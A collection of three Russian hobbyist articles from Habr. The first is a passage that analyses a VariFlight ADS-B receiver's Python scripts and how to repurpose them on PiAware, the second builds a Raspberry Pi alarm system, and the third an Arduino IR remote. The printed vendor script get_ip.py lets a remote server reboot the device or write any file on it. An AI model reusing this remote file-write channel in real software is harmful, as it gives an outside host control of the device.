import sys,os
import ConfigParser
import hashlib
import json
import uuid
config = ConfigParser.ConfigParser()
config.readfp(open(sys.path[0]+'/config.ini',"rb"))
uuid_file=sys.path[0]+'/UUID'
if os.path.exists(uuid_file) :
file_object = open(uuid_file)
mid = file_object.read()
file_object.close()
else :
mid = uuid.uuid1().get_hex()[16:]
file_object = open(uuid_file , 'w')
file_object.write( mid )
file_object.close()
def send_message(source_data):
source_data=source_data.replace('\n','$$$')
f=urllib2.urlopen(
url = config.get("global","ipurl"),
data = source_data,
timeout = 60
)
tmp_return=f.read()
request_json=json.loads(tmp_return)
request_md5=request_json['md5']
del request_json['md5']
tmp_hash=''
for i in request_json:
if tmp_hash=='' :
tmp_hash=tmp_hash+request_json[i]
else :
tmp_hash=tmp_hash+','+request_json[i]
md5=hashlib.md5(tmp_hash.encode('utf-8')).hexdigest()
if (md5 == request_md5):
operate(request_json)
else :
print 'MD5 ERR'
print "return: "+tmp_return;
def get_ip_address(ifname):
skt = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
pktString = fcntl.ioctl(skt.fileno(), 0x8915, struct.pack('256s', ifname[:15]))
ipString = socket.inet_ntoa(pktString[20:24])
return ipString
def operate(request_json):
if request_json['type'] == 'reboot' :
os.system('/sbin/reboot')
elif request_json['type'] == 'code' :
fileHandle = open ( urllib.unquote( request_json['path'] ) , 'w' )
fileHandle.write( urllib.unquote( request_json['content'] ) )
fileHandle.close()
else :
print 'OK'
eth=get_ip_address('eth0')
send_message(mid+'|'+eth+'|')
```
Смысл сетевого обмена, выполняемого скриптом, я особо не понимаю. Генерируется уникальный идентификатор UUID, если он отсутствует. И происходит некий обмен с адресами, указанными в файле config.ini. Вероятно именно этот скрипт отвечает за привязку транслируемых данных и IP с аккаунтом.
Примечательна строка «if request\_json['type'] == 'reboot': os.system('/sbin/reboot')».
```
[global]
name = NEW
ipurl = http://receive.cdn35.com/ADS-B_IP.php
sendurl = http://adsb.feeyo.com/adsb/ReceiveCompressADSB.php
version = 1.0
passwd = 'null'
```
И наконец скрипт отправляющий данные
**send\_message.py**
```
import socket
import urllib2
import urllib
import sys
import ConfigParser
import zlib
import base64
import os,uuid
serverHost = 'localhost'
serverPort = 30003
config = ConfigParser.ConfigParser()
config.readfp(open(sys.path[0]+'/config.ini',"rb"))
uuid_file=sys.path[0]+'/UUID'
if os.path.exists(uuid_file) :
file_object = open(uuid_file)
mid = file_object.read()
file_object.close()
else :
mid = uuid.uuid1().get_hex()[16:]
file_object = open(uuid_file , 'w')
file_object.write( mid )
file_object.close()
sockobj = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sockobj.connect((serverHost,serverPort))
def send_message(source_data):
try:
source_data=base64.b64encode(zlib.compress(source_data))
f=urllib2.urlopen(url = config.get("global","sendurl"),data = urllib.urlencode({'from':mid,'code':source_data}),timeout = 2)
return True
except Exception,e:
print str(e)
return True
tmp_buf=''
while 1:
buf = sockobj.recv(1024)
if not buf: break
if len(buf) != 0:
tmp_buf=tmp_buf+buf
if buf[len(buf)-1] == '\n':
if send_message(tmp_buf) :
tmp_buf=''
```
Строку serverHost = 'localhost' я отредактировал, заменив 'localhost' на 'ff-1234' — сетевое имя моего Flightaware Flightfeeder и перезагрузив приемник VariFlight. После этого на VariFlight пошли данные с Flightfeeder.
Оставшиеся скрипты — это приём сообщений ACARS. Возможно остатки какого-то функционала или реализуемая в будущем функция. Скрипты работают с /root/acarsdec-3.0/acarsdec, который отсутствует по этому пути. ACARSDEC — это [ACARS SDR decoder](https://github.com/TLeconte/acarsdec), декодирующий сообщения, например, на частоте 131,725МГц. Судя по всему именно из расчета на прием этой частоты, на входе приёмника отсутствуют фильтры на 1090 МГц.
> Адресно-отчётная система авиационной связи (ACARS) — цифровая система связи, применяемая в авиации для передачи коротких, относительно простых сообщений между летательным аппаратом и наземными станциями, либо через прямую радиосвязь, либо через спутниковые системы.
Подробнее о ACARS можно посмотреть, например, [здесь](http://skynav.ru/likbez/acars/).
Скрипт acars.sh по реализации аналогичен task.sh — перезапускает acarsdec и скрипты get\_ip.py и acars.py, если не обнаруживает необходимый процесс.
**acars.sh**
```
#!/bin/bash
ps -eaf | grep acarsdec | grep -v grep
if [ $? -eq 1 ]
then
/root/acarsdec-3.0/acarsdec -n 127.0.0.1:8888 -o 0 -p -8 -r 0 127.272 126.475 &
echo `date "+%G-%m-%d %H:%M:%S"`" acarsdec restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" acarsdec running"
echo "------------------------------------------------------------------------"
fi
ps -eaf | grep get_ip.py | grep -v grep
# if not found - equals to 1, start it
if [ $? -eq 1 ]
then
python /root/get_message/get_ip.py
echo `date "+%G-%m-%d %H:%M:%S"`" get_ip restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" get_ip running"
echo "------------------------------------------------------------------------"
fi
ps -eaf | grep acars.py | grep -v grep
# if not found - equals to 1, start it
if [ $? -eq 1 ]
then
python /root/get_message/acars.py
echo `date "+%G-%m-%d %H:%M:%S"`" acars restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" acars running"
echo "------------------------------------------------------------------------"
fi
/usr/sbin/ntpdate cn.pool.ntp.org > /dev/null
```
**acars.py**
```
#!/usr/bin/env python
import socket, traceback ,time,urllib2,urllib,sys,ConfigParser
def send_message(source_data):
try:
f=urllib2.urlopen(url = config.get("global","sendurl"),data = urllib.urlencode({'from':config.get("global","name"),'code':source_data}),timeout = 10)
print "return: "+f.read();
return True
except Exception,e:
print str(e)
return False
host = '127.0.0.1'
port = 8888
config = ConfigParser.ConfigParser()
config.readfp(open(sys.path[0]+'/config.ini',"rb"))
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
while 1:
try:
message, address = s.recvfrom(8192)
socket_udp_str='{0} :{1} \n\n'.format(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time())),message)
send_message(socket_udp_str)
except (KeyboardInterrupt, SystemExit):
raise
except:
traceback.print_exc()
```
В работе это выглядит так:
```
PID TTY STAT TIME COMMAND
20726 ? Ss 0:00 \_ sshd: pi [priv]
20732 ? S 0:00 \_ sshd: pi@pts/0
20734 pts/0 Ss 0:00 \_ -bash
20744 pts/0 R+ 0:00 \_ ps -afx
777 tty1 Ss+ 0:00 /sbin/agetty --noclear tty1 linux
907 ? Sl 737:23 ./dump1090 --net --net-sbs-port 30003
915 ? S 11:11 python -O /root/get_message/send_message.py
```
**ps -afx полностью**
```
pi@raspberrypi:~ $ ps -afx
PID TTY STAT TIME COMMAND
2 ? S 0:00 [kthreadd]
3 ? S 0:59 \_ [ksoftirqd/0]
5 ? S< 0:00 \_ [kworker/0:0H]
7 ? S 5:28 \_ [rcu_sched]
8 ? S 0:00 \_ [rcu_bh]
9 ? S 0:01 \_ [migration/0]
10 ? S 0:01 \_ [migration/1]
11 ? S 0:05 \_ [ksoftirqd/1]
13 ? S< 0:00 \_ [kworker/1:0H]
14 ? S 0:01 \_ [migration/2]
15 ? S 0:04 \_ [ksoftirqd/2]
17 ? S< 0:00 \_ [kworker/2:0H]
18 ? S 0:01 \_ [migration/3]
19 ? S 0:04 \_ [ksoftirqd/3]
21 ? S< 0:00 \_ [kworker/3:0H]
22 ? S 0:00 \_ [kdevtmpfs]
23 ? S< 0:00 \_ [netns]
24 ? S< 0:00 \_ [perf]
25 ? S 0:00 \_ [khungtaskd]
26 ? S< 0:00 \_ [writeback]
27 ? S< 0:00 \_ [crypto]
28 ? S< 0:00 \_ [bioset]
29 ? S< 0:00 \_ [kblockd]
31 ? S< 0:00 \_ [rpciod]
32 ? S 0:00 \_ [kswapd0]
33 ? S< 0:00 \_ [vmstat]
34 ? S 0:00 \_ [fsnotify_mark]
35 ? S< 0:00 \_ [nfsiod]
44 ? S< 0:00 \_ [kthrotld]
46 ? S< 0:00 \_ [bioset]
47 ? S< 0:00 \_ [bioset]
48 ? S< 0:00 \_ [bioset]
49 ? S< 0:00 \_ [bioset]
50 ? S< 0:00 \_ [bioset]
51 ? S< 0:00 \_ [bioset]
52 ? S< 0:00 \_ [bioset]
53 ? S< 0:00 \_ [bioset]
54 ? S< 0:00 \_ [bioset]
55 ? S< 0:00 \_ [bioset]
56 ? S< 0:00 \_ [bioset]
57 ? S< 0:00 \_ [bioset]
58 ? S< 0:00 \_ [bioset]
59 ? S< 0:00 \_ [bioset]
60 ? S< 0:00 \_ [bioset]
61 ? S< 0:00 \_ [bioset]
62 ? S< 0:00 \_ [bioset]
63 ? S< 0:00 \_ [bioset]
64 ? S< 0:00 \_ [bioset]
65 ? S< 0:00 \_ [bioset]
66 ? S< 0:00 \_ [bioset]
67 ? S< 0:00 \_ [bioset]
68 ? S< 0:00 \_ [bioset]
69 ? S< 0:00 \_ [bioset]
70 ? S< 0:00 \_ [VCHIQ-0]
71 ? S< 0:00 \_ [VCHIQr-0]
72 ? S< 0:00 \_ [VCHIQs-0]
73 ? S< 0:00 \_ [iscsi_eh]
74 ? S< 0:00 \_ [dwc_otg]
75 ? S< 0:00 \_ [DWC Notificatio]
77 ? S 0:00 \_ [irq/92-mmc1]
78 ? S 0:00 \_ [VCHIQka-0]
79 ? S< 0:00 \_ [SMIO]
80 ? S< 0:00 \_ [deferwq]
83 ? S< 0:00 \_ [bioset]
84 ? S 0:11 \_ [mmcqd/0]
87 ? S 0:04 \_ [jbd2/mmcblk0p2-]
88 ? S< 0:00 \_ [ext4-rsv-conver]
89 ? S< 0:00 \_ [ipv6_addrconf]
172 ? S 415:15 \_ [w1_bus_master1]
224 ? S< 0:00 \_ [cfg80211]
227 ? S< 0:00 \_ [brcmf_wq/mmc1:0]
229 ? S 0:00 \_ [brcmf_wdog/mmc1]
493 ? S< 0:00 \_ [kworker/1:1H]
550 ? S< 0:00 \_ [kworker/3:1H]
632 ? S< 0:00 \_ [kworker/u9:0]
633 ? S< 0:00 \_ [hci0]
634 ? S< 0:00 \_ [hci0]
638 ? S< 0:00 \_ [kworker/u9:2]
3856 ? S< 0:00 \_ [kworker/2:1H]
9346 ? S< 0:00 \_ [kworker/0:1H]
15564 ? S 0:00 \_ [kworker/1:0]
17556 ? S 0:00 \_ [kworker/u8:2]
17878 ? S 0:00 \_ [kworker/0:0]
17879 ? S 0:00 \_ [kworker/2:2]
19234 ? S 0:00 \_ [kworker/u8:4]
19566 ? S 0:00 \_ [kworker/3:1]
20143 ? S 0:00 \_ [kworker/2:1]
20259 ? S 0:00 \_ [kworker/3:2]
20352 ? S 0:00 \_ [kworker/0:2]
20416 ? S 0:00 \_ [kworker/1:2]
20600 ? S 0:00 \_ [kworker/3:0]
20601 ? S 0:00 \_ [kworker/2:0]
20605 ? S 0:00 \_ [kworker/u8:0]
20725 ? S 0:00 \_ [kworker/0:1]
1 ? Ss 0:10 /sbin/init
134 ? Ss 1:00 /lib/systemd/systemd-journald
136 ? Ss 0:08 /lib/systemd/systemd-udevd
416 ? Ss 0:09 /usr/sbin/cron -f
426 ? Ss 0:01 /lib/systemd/systemd-logind
429 ? Ss 0:00 avahi-daemon: running [raspberrypi.local]
458 ? S 0:00 \_ avahi-daemon: chroot helper
433 ? Ss 0:00 /usr/bin/dbus-daemon --system --address=systemd: --no
450 ? Ss 0:02 /usr/sbin/thd --daemon --triggers /etc/triggerhappy/t
496 ? Ss 0:03 /sbin/wpa_supplicant -s -B -P /run/wpa_supplicant.wla
498 ? Ssl 0:13 /usr/sbin/rsyslogd -n
636 ? S 0:00 /usr/bin/hciattach /dev/serial1 bcm43xx 921600 noflow
640 ? Ss 0:00 /usr/lib/bluetooth/bluetoothd
729 ? Ss 0:02 /sbin/dhcpcd -q -w
749 ? Ss 0:00 /usr/sbin/sshd -D
20726 ? Ss 0:00 \_ sshd: pi [priv]
20732 ? S 0:00 \_ sshd: pi@pts/0
20734 pts/0 Ss 0:00 \_ -bash
20744 pts/0 R+ 0:00 \_ ps -afx
777 tty1 Ss+ 0:00 /sbin/agetty --noclear tty1 linux
907 ? Sl 737:23 ./dump1090 --net --net-sbs-port 30003
915 ? S 11:11 python -O /root/get_message/send_message.py
```
Из этого видно, что можно забирать данные с PiAware почти не напрягаясь, фактически, только перенеся скрипты на новую систему. А если уже есть существующая adsb-станция — самодельная, Flightradar24, Flightaware, то имеющийся приемник можно использовать по своему усмотрению на другие личные цели и задачи с совершенно чистой совестью.
Установка VariFlight на PiAware
-------------------------------
Переносим в новую систему из старой необходимые файлы. Т.е. содержимое каталога root:
Каталог get\_message и файлы install.sh, synctime.sh, task.sh.
В каталоге get\_message:
* acars.py
* acars.sh
* config.ini
* get\_ip.py
* init.sh
* send\_message.py
и файл UUID — ваш идентификатор в сети VariFlight.
*Если вы хотите начать делиться данными не имея VariFlight Feeder, то при первом запуске скрипта генерируется ваш UUID. Этот файл и название ближайшего аэропорта необходимо отослать на chengyi(at)variflight.com для создания вашего аккаунта на сервисе.*
Далее:
```
pi@piaware:~ $ sudo apt-get install -y python ntpdate
pi@piaware:~ $ su
root@piaware:~# sh task.sh
root@piaware:~# crontab -e
```
Редактируем crontab в nano, вставив
```
* * * * * /root/task.sh >/dev/null 2>&1
```
Сохраняем файл нажав [Ctrl+O] и закрываем [Ctrl+X].
```
root@piaware:~# chmod 777 task.sh
root@piaware:~# reboot
```
После перезагрузки проверяем страницу со своей статистикой [flightadsb.feeyo.com/user/rank](http://flightadsb.feeyo.com/user/rank)
В четвертой колонке должна быть зеленая надпись online. А в списке [Airport](http://flightadsb.feeyo.com/airport/position) принятые борты (третья колонка — сколько секунд назад был принят сигнал от самолета).
На этом месте мой черновик «завис» на неопределенный срок, т.к. здесь я хотел написать как запустить на роутере с openwrt скрипт и ModeSMixer для раздачи данных на сервисы и таким образом выключить этот приемник и применить для других целей. Но у меня пока не предвидится свободного времени и я решил опубликовать как есть. Возможно кто-то [захочет заказать](http://flightadsb.feeyo.com/index/adsb?recommender=MTg4OTU2MjE5MDU&lang=en&fbclid=IwAR0aetWVIkwlPyFGIv5gy3COMh0uAzSd-tNywRTL1fgFfstBhNAwTXSqkCs) бесплатный приемник и эта статья будет полезна.
ModeSMixer
----------
Один приемник может раздавать данные на несколько сервисов и используется для этого программа ModeSMixer.
ModeSMixer — консольное приложение для объединения и ретрансляция потоков с данными Mode-S в различных форматах. Примерный вариант использования:
Программа предназначена для комбинирования и ретрансляции разных форматов потоков ModeS данных. Настроек по умолчанию программа не имеет. Всё задается параметрами.
Параметр --inConnect задает адреса и порты с которых поступают данные. А параметр --outServer определяет формат и порт для ретранслируемых данных. Пример на картинке будет выглядеть так:
```
./modesmixer2 --inConnect 192.168.0.105:30005 --inConnect 127.0.0.1:30005 --outServer sbs10001:10001 --outServer beast:31001 --globes 32000:tablename:home --location XX.XXXXX:YY.YYYYY --web 8765 &
```
Параметр --location определяет широту и долготу места установки станции, и параметр --web определяет порт на котором будет работать вебинтерфейс программы. Подробнее о программе можно почитать [здесь](https://sonicgoose.com/combining-and-rebroadcasting-ads-b-feeds-with-modesmixer2/).
Настроив раздачу на несколько сервисов, владелец станции получает особое членство на каждом сервисе и доступ к непубличной информации и архиву полетов за определенный срок.
В случае использования PiAware данные уже отправляются на FlightAware и остается только забрать эти данные с помощью modesmixer2. И в случае Variflight необходимо получить данные в формате BaseStation на каком-то свободном порту, например, 10001. Параметр будет выглядеть так --outServer msg:10001. Если необходимо, то можно добавить порт 10002 для программы VirtualRadar: --outServer beast:10002
```
./modesmixer2 --inConnect localhost:30005 --inConnect localhost:30105 --outServer msg:10001 --outServer beast:10002 --location <широта>:<долгота> --web 8765 &
```
Чтобы это запускалось и перезапускалось автоматически необходимо отредактировать task.sh, добавив:
```
ps -eaf | grep modesmixer2 | grep -v grep
# if not found - equals to 1, start it
if [ $? -eq 1 ]
then
./modesmixer2 --inConnect localhost:30005 --inConnect localhost:30105 --outServer msg:10001 --location <широта>:<долгота> --web 8765 &
echo `date "+%G-%m-%d %H:%M:%S"`" modesmixer2 restart"
echo "------------------------------------------------------------------------"
else
echo `date "+%G-%m-%d %H:%M:%S"`" modesmixer2 running"
echo "------------------------------------------------------------------------"
fi
```
И наконец отредактируем скрипт get\_message/send\_message.py, указав новый порт с данными:
```
serverHost = 'localhost'
serverPort = 10001
```
А тем временем,
---------------
пока эта статья лежала в черновиках, из Китая появилась новость, касающаяся этих сервисов. В ноябре 2018 года китайские власти стали выключать ADSB-приёмники иностранных сервисов. Это можно увидеть в публичной статистике станций Flightaware на территории Китая:
Новость в том, что китайские энтузиасты радарспоттинга заявили, что им позвонили представители китайских властей и их посетила полиция, которые «очень красиво и вежливо» попросили их прекратить передачу данных ADS-B на заграничные сервисы, что, по-видимому, «ставит под угрозу национальную безопасность и суверенитет Китая».
Некоторые утверждали, что им позвонили, даже, если они не получили приемник от FlightRadar24 и FlightAware. Эти события вызвали переполох среди энтузиастов, и многие из них прекратили передачу данных ADS-B. Известно, что в FlightRadar24 попытались анонимизировать станции пользователей в Китае. Пока не ясно насколько это эффектно.
Уведомление китайских властей на английском языке:
«Ставит под угрозу национальную безопасность и суверенитет Китая» тот факт, что такие сервисы позволяют устанавливать местонахождение китайских (американских, европейских и прочих кроме стран бывшего СССР) военных самолетов. Для примера еженедельная траектория американского стратегического разведывательного БПЛА над международными водами на высоте 16 км:
В мире существует две системы вторичной радиолокации родом из США и СССР. Поэтому эти приемники и сервисы не могут показать местонахождение большинства «советских» самолетов, вертолетов, если они не оборудованы «американским» радиолокационным ответчиком, что необходимо только для полетов в воздушном пространстве, например, США или ЕС. Поэтому увидеть, что-то интересное на территории РФ можно в пограничных областях, желательно у моря. Например, упомянутый выше американский разведчик замечательно виден из Краснодара. Именно благодаря такому прибрежному размещению приемника, упомянутый выше, сервис PlaneRadar периодически попадает в новости российских СМИ.
> 15:40 мск. [pic.twitter.com/sTCSsoY1VV](https://t.co/sTCSsoY1VV)
>
> — PlaneRadar (@ua4wiy\_) [November 28, 2018](https://twitter.com/ua4wiy_/status/1067760621398253569?ref_src=twsrc%5Etfw)
P.S. VariFlight ADS-B запустил версию на английском языке — [flightadsb.variflight.com](http://flightadsb.variflight.com) | https://habr.com/ru/post/423989/ | null | ru | null |
# Как мы делали небольшую охранную систему на RPi. Часть 1
Здравствуйте Хабражители!
Думаю многие из вас слышали о Raspberry Pi, более того, думаю довольно большое количество из вас видели его вживую. В начале 2014 года я решил, что пора мне тоже заказать себе парочку RPi и сделать на них что-то интересное. Так как я являюсь iOS разработчиком, я загорелся идеей обязательно прицепить к этому проекту iOS приложение. Ну и т.к. RPi довольно хорошо умеет работать со сторонним железом, я решил что сделаю небольшую охранную систему для личного пользования.
#### Введение
Первое, что в данном случае нужно было сделать, это определить что же я хочу от этой системы. Я считаю, что для подобной задачи нет ничего лучше, чем карта мыслей. В общем через 5 минут глубоких размышлений получилось вот что:
Примерно через месяц я получил из UK два RPi модели A, т.е. с одним USB, и без Ethernet. Прикупил флэшку на 16Гб и установил на нее Raspbian. И тут начали всплывать первые из подводных камней — драйвера и интернет. У меня уже был выигранный на конкурсе пару лет назад 3G роутер, и именно его я планировал подключить к RPi, для того, чтобы там появился интернет. Как же я ошибался.
Через полчаса я уже стоял в магазине в поисках адаптера USB-Ethernet, продавец с трудом нашел мне один экземпляр компании D-Link. Перед самым выходом я решил подстраховаться и купить еще и wifi адаптер компании ASUS, т.к. время было позднее, а начать работу сильно хотелось именно сегодня, поэтому права на ошибку просто небыло. На обоих девайсах естественно красовалась поддержка Linux.
Придя домой я убил добрый час в попытках установить с диска, а потом найти в интернете свежие драйвера для D-Link. Оказалось, что ребята из этой компании просто перестали поддерживать это устройство 2 года назад! Я понял, что мне продали барахло (*которое я успешно на следующий день поменял на еще две флэшки*). Остался план Б, который заработал на удивление без всяких драйверов, я просто вставил адаптер от ASUS в USB и он сразу же определился в системе как сетевая карта. Сразу скажу, работать на RPi model A в режиме графической оболочки просто невозможно, все очень сильно тормозит, после макбука с SSD это про ад. Поэтому я решил его не мучать, просто настроил себе ssh.
Далее встал вопрос о языке, на котором я буду писать систему для работы с железом. Из всех я выбрал Python, так как там есть работа с железом «из коробки», не нужно дополнительно устанавливать ни каких библиотек и тому подобного, ну и плюс я давно хотел изучить этот язык.
Примерно за неделю я освоил все что мне было нужно от Python, это была очень интересная неделя. Помните в 9 эпизоде первого сезона «Теории большого взрыва» главные герои приделали к некоторым приборам в своей квартире выключатели, которыми можно было управлять через интернет, и любой желающий мог включить/выключить у них свет или аудио систему? Я сделал тоже самое со светодиодом, подключенным к RPi. Это конечно не аудио система, но когда светодиод загорался от щелчка мыши на противоположном полушарии планеты, ощущения были непередаваемые :)
#### Работа с железом
Следующий вопрос, который мне предстояло решить, это как подключить и управлять железом, ведь датчик движения и дыма это не светодиод, там все несколько сложнее. С этим вопросом я обратился к своему хорошему другу, который просто отлично разбирается в схемотехнике и дружит с паяльником лучше меня.
С этого момента над проектом стало работать два человека, а я стал частым посетителем магазина для радиолюбителей.
Более подробно о работе схемы я расскажу в другой статье, а пока вкратце расскажу про то, как все устроено.
На этой схеме слева датчик движения, справа автомобильная сигнализация, а внизу подключение к источнику питания.
Забегая вперед хочу сказать, что автоматика перехода на питание от аккумулятора была исключена из схемы, т.к. был приобретен аккумулятор, который подключается просто паралелльно с сетевым питанием и автоматически начинает питать схему, когда пропадает 220В. А концевой выключатель для двери было решено заменить на герконы.
Для подключения и питания всей схемы были сделаны две отдельные платы, на одной была реализована работа с железом через оптроны, а на другой преобразование сетевого напряжения 220В в постоянное 12В и 5В. От 12В у нас питаются датчики и сирена, а от 5В соответственно RPi.
Все это хорошо, но следующий вопрос был еще более интересный, как же нам получить данные с датчиков. Мы решили вести всю работу с железом через GPIO, честно говоря думаю это единственный путь, остальные входы/выходы предназначены для специфического оборудования, а нам нужно просто получить с датчиков состояние в виде 1 или 0.
GPIO имеет 26 контактов, из них: 2 по 5В, 2 по 3В, 5 земля, остальные могут быть как входами, так и выходами, в зависимости от конфигурации, которую вы задаете.
#### Программированию системы работы с железом
Я решил сделать трехзвенную архитектуру: **RPi — Web Server — iOS**. Во-первых, чтобы повысить отказоустойчивость, т.к. если исключить сервер из цепочки, то вся система становится очень уязвима из-за того, что RPi может выйти из строя и мы ни как не узнаем об этом. Во-вторых, я решил отказаться от посылки смс и дозвона в пользу push-уведомлений, которые конечно же будет слать сервер.
Итак, для программирования системы работы с железом я выбрал Python 2.5. Первое, что нужно сделать, это установить [WebIOPi](https://code.google.com/p/webiopi/). Это отличный open-source проект, который позволяет удобно отлаживать работу с оборудованием через браузер. Он показывает статус портов GPIO, позволяет их сконфигурировать на вход/выход и установить вручную на выходе 0 или 1. Устанавливается все это очень просто, на просторах интернета даже есть подробная инструкция на русском языке.
Как я писал выше, в Python «из коробки» есть работа с GPIO, для этого надо просто подключить специальную библиотеку.
```
import RPi.GPIO as GPIO
```
GPIO имеет два режима нумерации контактов, по счету на плате и по внутреннему номеру контакта. Я рекомендую использовать нумерацию по счету, это просто проще.
```
GPIO.setmode(GPIO.BOARD)
```
Перед запуском системы нам нужно инициализировать все нужные порты, а именно указать как они будут работать, на вход или на выход, а так же указать начальное значение порта.
```
GPIO.setup(12, GPIO.OUT, initial=GPIO.LOW)
GPIO.setup(11, GPIO.IN, pull_up_down=GPIO.PUD_DOWN)
```
Для считывания порта нужно использовать следующий код:
```
if (GPIO.input(11) == GPIO.HIGH)
```
Для установки на выходе порта 1 или 0:
```
GPIO.output(12, GPIO.HIGH)
GPIO.output(12, GPIO.LOW)
```
Так как датчик движения выдает сигнал на очень короткий промежуток времени, нам нужно считывать порты постоянно, и тут надо сказать, что в RPi.GPIO это реализуется очень удобно. Можно сделать так, чтобы при получении на входе 1 или 0 вызывалась определенная функция. Так же для каждого порта устанавливается частота считывания.
```
GPIO.add_event_detect(11, GPIO.FALLING, callback=move_sensor_callback, bouncetime=500)
```
Несколько важных подводных камней. В цикле программы обязательно нужно сделать sleep(1), иначе процессор будет всегда загружен на 100%, так же при выходе из программы рекомендуется выполнять GPIO.cleanup().
```
try:
while True:
sleep(1)
finally:
GPIO.cleanup()
```
Далее расскажу про еще более странную проблему, причины которой я не нашел, но нашел вполне адекватный выход. Примерно через 6 часов непрерывной работы скрипт перестает реагировать на сенсоры. Скорее всего отваливается та самая удобная система, которая вызывает callback функции при наступлении определенного события. Решается это очень просто, скрипт нужно иногда перезагружать, например с помощью cron’а. Для большей надежности, в моей системе cron перезагружает скрипт каждый час, плюс каждую минуту он проверяет работает ли скрипт и запускает его, если это не так.
Работу программы я сделал в виде демона, думаю не нужно тут ничего пояснять, это довольно стандартная штука. При желании можно найти примеры в интернете.
Давайте немного расскажу про архитектуру системы. Работу с каждой железякой я вынес в отдельный модуль. Каждый модуль умеет инициализировать порты, включить/выключить свое железо, проводить самодиагностику, отправлять на сервер сообщения, например когда срабатывает датчик движения, ну и конечно же писать свой статус в лог.
Самодиагностика делается довольно просто, при инициализации все железо должно иметь на выходе единицу, поэтому если мы имеем там ноль, значит датчик не работает или находится не в замкнутом положении (геркон). Соответственно вся система построена на том, что датчики имеют 1 в спокойном состоянии, и соответственно 0, когда они срабатывают или что-то ломается.
Вообще система состоит из 4-х датчиков: датчик движения 360°, датчик дыма, 2 геркона. Ну и конечно же сирена, звонкая, автомобильная, в замкнутом помещении просто ломает уши.
На этом первая часть подходит к концу, в следующий раз я расскажу как делалась серверная часть и iOS приложение. Всем спасибо за внимание, по возможности отвечу на все вопросы по железу и софту в комментариях.
Ну и в завершение небольшой спойлер ко второй части :)
 | https://habr.com/ru/post/231869/ | null | ru | null |
# Универсальный пульт на Arduino
Есть много статей в интернете о том, как сделать свой пульт к телевизору на Arduino, но мне понадобился универсальный пульт для управления телевизором и медиа-плеером. Главное преимущество моего универсального пульта в том, что кнопки в приложении для андроид телефона двух-целевые, а впрочем, смотрите на видео.
Пульт очень удобен в том, что на экране практически одни и те же кнопки используются для управления телевизором и плеером. Одно отличие в том, что кнопка "**AV**" в режиме управления телевизором меняется на кнопку "**◻**" (stop) при переходе в режим управления плеером. На картинках показано два режима, слева режим управления телевизором, справа — режим управления плеером.
 
Ну а сейчас я расскажу немного о создании такого пульта. Для устройства использовал пульт от телевизора ERGO и пульт от медиаплеера DUNE HD TV101W.
Для получения данных от пультов я использовал инфракрасный датчик TSOP1138 (аналог TSOP4838) на рабочей частоте 38 кГц и подключил его к плате Arduino по схеме:
Для начала нам потребуется прочитать коды кнопок пультов. Я воспользовался библиотекой [IRremote](http://arduino-project.net/biblioteki-arduino/) и тестовым скетчем **IRrecvDump**.
Этот скетч на потребуется для определения кодировки передачи данных и считывания кода кнопок пультов.
> В скетче в строке int RECV\_PIN = 11; указываем наш пин под номером 4
После заливки скетча открываем «монитор порта» и, нажимая на кнопки пульта, смотрим на полученные данные.
На картинке пример сканирования кнопки включения от пульта телевизора и пульта плеера. Теперь формируем таблицу для кодов кнопок.
У меня получилось как на фото выше. Под надписью **TV** коды кнопок пульта от телевизора; под надписью **Player** — коды от пульта медиаплеера.
Теперь отключаем наш приемник инфракрасных сигналов от платы Arduino и подключаем к ней Bluetooth модуль HC-05 и инфракрасный светодиод по схеме на фото.
После этого переходим непосредственно к скетчу.
**Скетч**
```
#include
IRsend irsend;
int y = 1;
void setup()
{
Serial.begin(9600);
}
void loop() {
if (Serial.available() > 0) {
int x = Serial.read();
if (x == 49) {
y = 1;
}
if (x == 50) {
y = 2;
}
if (y == 1) { // коды кнопок для пульта от телевизора
if (x == 97) {
irsend.sendNEC(0x807F08F7, 32);
delay(40);
}
if (x == 98) {
irsend.sendNEC(0x807FA857, 32);
delay(40);
}
if (x == 99) {
irsend.sendNEC(0x807F708F, 32);
delay(40);
}
if (x == 100) {
irsend.sendNEC(0x807FF00F, 32);
delay(40);
}
if (x == 101) {
irsend.sendNEC(0x807F30CF, 32);
delay(40);
}
if (x == 102) {
irsend.sendNEC(0x807FB04F, 32);
delay(40);
}
if (x == 103) {
irsend.sendNEC(0x807F9867, 32);
delay(40);
}
if (x == 104) {
irsend.sendNEC(0x807F58A7, 32);
delay(40);
}
if (x == 105) {
irsend.sendNEC(0x807FD827, 32);
delay(40);
}
if (x == 106) {
irsend.sendNEC(0x807F38C7, 32);
delay(40);
}
if (x == 107) {
irsend.sendNEC(0x807F48B7, 32);
delay(40);
}
if (x == 108) {
irsend.sendNEC(0x807FB847, 32);
delay(40);
}
if (x == 109) {
irsend.sendNEC(0x807F6897, 32);
delay(40);
}
}
if (y == 2) { //коды кнопок пульта от медиаплеера
if (x == 97) {
irsend.sendNEC(0xFDC23D, 32);
delay(40);
}
if (x == 98) {
irsend.sendNEC(0xFDE01F, 32);
delay(40);
}
if (x == 99) {
irsend.sendNEC(0xFD18E7, 32);
delay(40);
}
if (x == 100) {
irsend.sendNEC(0xFDE817, 32);
delay(40);
}
if (x == 101) {
irsend.sendNEC(0xFDA857, 32);
delay(40);
}
if (x == 102) {
irsend.sendNEC(0xFD6897, 32);
delay(40);
}
if (x == 103) {
irsend.sendNEC(0xFDA857, 32);
delay(40);
}
if (x == 104) {
irsend.sendNEC(0xFD6897, 32);
delay(40);
}
if (x == 105) {
irsend.sendNEC(0xFDE817, 32);
delay(40);
}
if (x == 106) {
irsend.sendNEC(0xFD18E7, 32);
delay(40);
}
if (x == 107) {
irsend.sendNEC(0xFD9867, 32);
delay(40);
}
if (x == 108) {
irsend.sendNEC(0xFD28D7, 32);
delay(40);
}
if (x == 109) {
irsend.sendNEC(0xFD20DF, 32);
delay(40);
}
}
}
}
```
В скетче вам потребуется отредактировать коды кнопок, а именно в строках:
```
if (x == 97) {
irsend.sendNEC(0x807F08F7, 32);
delay(40);
```
